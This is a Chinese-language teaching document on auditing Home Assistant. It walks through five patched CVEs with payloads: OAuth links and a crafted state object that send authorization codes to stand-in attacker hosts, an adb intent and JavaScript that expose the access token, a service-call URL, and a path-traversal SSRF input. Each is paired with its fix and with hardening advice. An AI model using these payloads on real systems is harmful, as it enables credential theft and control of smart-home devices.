Home Assistant安全审计与漏洞分析教学文档

一、Home Assistant简介

Home Assistant(HA)是目前最受欢迎的开源智能家居平台之一，采用Python开发，能够与几乎任何物联网(IoT)设备进行通信。

主要组件

1. 核心(Core)：Python应用程序，处理用户与IoT设备的交互
2. 集成模块：构成核心的构建块，包括基础组件和设备对接模块
3. Supervisor：管理和更新核心及操作系统，管理用户安装的"附加组件"
4. Home Assistant操作系统(HAOS)：基于Linux的操作系统，在Docker容器中运行各组件

二、审计方法论

1. 理解系统

• 阅读文档和博客文章
• 搭建测试服务器
• 实际操作应用程序识别攻击点

2. 识别攻击面

• 远程攻击面：Web应用前端和后端API
• 本地攻击面：恶意IoT设备(本次审计未涵盖)

3. 审计认证与授权过程

• 检查认证绕过可能性
• 检查授权机制缺陷

4. 代码库分析

• 使用CodeQL等静态分析工具
• 手动审计关键代码路径

5. 使用安全工具

• CodeQL用于代码分析
• Burp Suite用于Web测试

6. 报告与验证

• 使用GitHub私有漏洞报告(PVR)功能
• 验证修复措施有效性

三、关键漏洞分析

1. 不受限制的OAuth2客户端 (CVE-2023-41893)

漏洞描述：
Home Assistant未限制OAuth2客户端，攻击者可构造恶意链接诱骗用户授权。

攻击步骤：

1. 构造恶意链接：

http://homeassistant.local:8123/auth/authorize?response_type=code&redirect_uri=http%3A%2F%2Fhomeassistant.local.evil%3A8123%2F%3Fauth_callback%3D1&client_id=http%3A%2F%2Fhomeassistant.local.evil%3A812300%2F&state=

2. 诱骗用户点击并登录
3. 获取授权码

修复措施：
2023.9版本更新了Web UI和移动应用程序的用户界面，提供更清晰的警告。

2. 授权码泄露 (CVE-2023-41896)

漏洞描述：
OAuth2流程中state参数包含hassUrl和clientId的Base64编码JSON对象，攻击者可控制hassUrl窃取授权码。

攻击步骤：

1. 构造恶意state：

{
  "hassUrl": "http://homeassistant.local.evil:8123/",
  "clientId": "http://homeassistant.local:8123/"
}

2. Base64编码后构造恶意链接
3. 用户登录后授权码发送至攻击者服务器

修复措施：
引入limitHassInstance特性，默认限制接受的hassUrl和clientId值。

3. Android WebView任意URL加载 (CVE-2023-41898)

漏洞描述：
MyActivity导出的Android活动允许任意URL加载，导致XSS和凭证窃取。

攻击步骤：

1. 恶意应用发送Intent：

adb shell am start -n io.homeassistant.companion.android.debug/io.homeassistant.companion.android.launch.my.MyActivity -d '"https://attacker.acme/exploit"' -a android.intent.action.VIEW

2. 加载恶意页面执行JS：

<script>
document.location = "homeassistant://navigate/entityId:\"}}));externalApp.getExternalAuth('{\"callback\": \"function func(a,b){alert(b.access_token);};func\", \"force\": \"true\";
</script>

修复措施：

• 限制只能加载my.home-assistant.io的URL
• 验证entityId格式
• 验证初始加载URL匹配服务器基础URL

4. 客户端请求伪造 (CVE-2023-44385)

漏洞描述：
iOS/macOS伴侣应用的URL处理程序允许通过恶意链接或二维码调用任意服务。

攻击示例：

https://www.home-assistant.io/ios/?url=homeassistant://%2F%2Fcall_service%2Flight.turn_on%3Fentity_id%3Dall

修复措施：
增加用户确认对话框。

5. 部分服务器端请求伪造 (CVE-2023-41899)

漏洞描述：
hassio.addon_stdin服务存在SSRF，允许调用任意Supervisor REST API端点。

攻击步骤：

1. 构造恶意服务调用：

{
  "addon": "../store/addons/a0d7b954_ssh/install?",
  "input": {}
}

2. 串联调用实现RCE

修复措施：
验证addon slug的有效性。

四、安全建议

1. 保持更新

• 定期更新到最新版本
• 关注安全公告

2. 认证与授权

• 使用强密码
• 启用多因素认证
• 限制OAuth客户端

3. 网络配置

• 将IoT设备放在独立VLAN
• 限制外部访问
• 使用VPN进行远程访问

4. 组件管理

• 禁用不必要集成
• 仅使用官方和可信社区集成
• 定期审查已安装组件

5. 移动应用安全

• 仅从官方商店下载应用
• 警惕不明链接和二维码
• 及时更新移动应用

五、测试环境搭建

推荐方法

1. 使用GitHub Codespaces
2. 利用官方DevContainer配置
3. 通过VS Code调试功能设置断点

调试技巧

• 利用Python调试环境
• 实时查看服务器变量
• 重点关注认证和数据处理流程

六、审计工具推荐

1. CodeQL：静态代码分析
2. Burp Suite：Web应用测试
3. adb：Android应用测试
4. Postman：API测试
5. 二维码生成器：测试移动应用攻击面

七、总结

Home Assistant作为智能家居核心，其安全性至关重要。通过系统化的审计方法，可以发现并修复潜在漏洞。开发者应持续关注安全更新，用户应遵循安全最佳实践，共同构建更安全的智能家居环境。

附录：漏洞时间线参考